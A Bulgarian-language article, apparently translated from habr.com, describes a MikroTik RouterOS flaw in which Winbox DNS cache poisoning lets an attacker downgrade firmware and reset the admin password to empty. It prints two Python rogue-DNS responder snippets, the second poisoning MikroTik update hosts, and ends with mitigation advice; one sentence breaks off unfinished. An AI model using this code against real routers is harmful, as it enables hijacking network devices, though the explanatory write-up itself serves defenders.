Възможността за дистанционно понижаване на устройства, базирани на RouterOS (Mikrotik), излага на риск стотици хиляди мрежови устройства. Уязвимостта е свързана с отравяне на DNS кеша на протокола Winbox и ви позволява да заредите остарял (с нулиране на паролата по подразбиране) или модифициран фърмуер на устройството.
Подробности за уязвимостта
Терминалът на RouterOS поддържа командата resolve за DNS търсене.
Тази заявка се обработва от двоичен файл, наречен преобразувател. Resolver е един от многото двоични файлове, които се свързват с протокола Winbox на RouterOS. На високо ниво „съобщенията“, изпратени до порта на Winbox, могат да бъдат насочени към различни двоични файлове в RouterOS въз основа на схема за номериране, базирана на масив.
По подразбиране RouterOS има деактивирана функция за DNS сървър.
Въпреки това, дори когато сървърната функция е деактивирана, рутерът поддържа свой собствен DNS кеш.
Когато направим заявка, използвайки winbox_dns_request, например example.com, рутерът ще кешира резултата.
Тъй като можем да посочим DNS сървъра, през който да премине заявката, въвеждането на грешни адреси е тривиално. Например, можете да конфигурирате внедряване на DNS сървър от
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Сега, ако търсите example.com с помощта на Winbox, можете да видите, че DNS кешът на рутера е отровен.
Разбира се, отравянето на example.com не е много полезно, тъй като рутерът всъщност няма да го използва. Рутерът обаче трябва да има достъп до upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com и download.mikrotik.com. И благодарение на друга грешка е възможно да ги отровите всички наведнъж.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Рутерът иска едно разрешение и ние му връщаме пет. Рутерът не кешира правилно всички тези отговори.
Очевидно тази атака е полезна и ако рутерът действа като DNS сървър, тъй като позволява клиентите на рутера да бъдат атакувани.
Тази атака също така ви позволява да използвате по-сериозна уязвимост: да понижите или пренесете версията на RouterOS. Нападателят пресъздава логиката на сървъра за актуализиране, включително регистъра на промените, и принуждава RouterOS да възприема остарялата (уязвима) версия като текуща. Опасността тук се крие във факта, че когато версията е „актуализирана“, паролата на администратора се нулира до стойността по подразбиране - атакуващият може да влезе в системата с празна парола!
Атаката е доста работеща, въпреки факта, че
защита
Простото деактивиране на Winbox ви позволява да се предпазите от тези атаки. Въпреки удобството на администриране чрез Winbox, по-добре е да използвате SSH протокола.
Източник: www.habr.com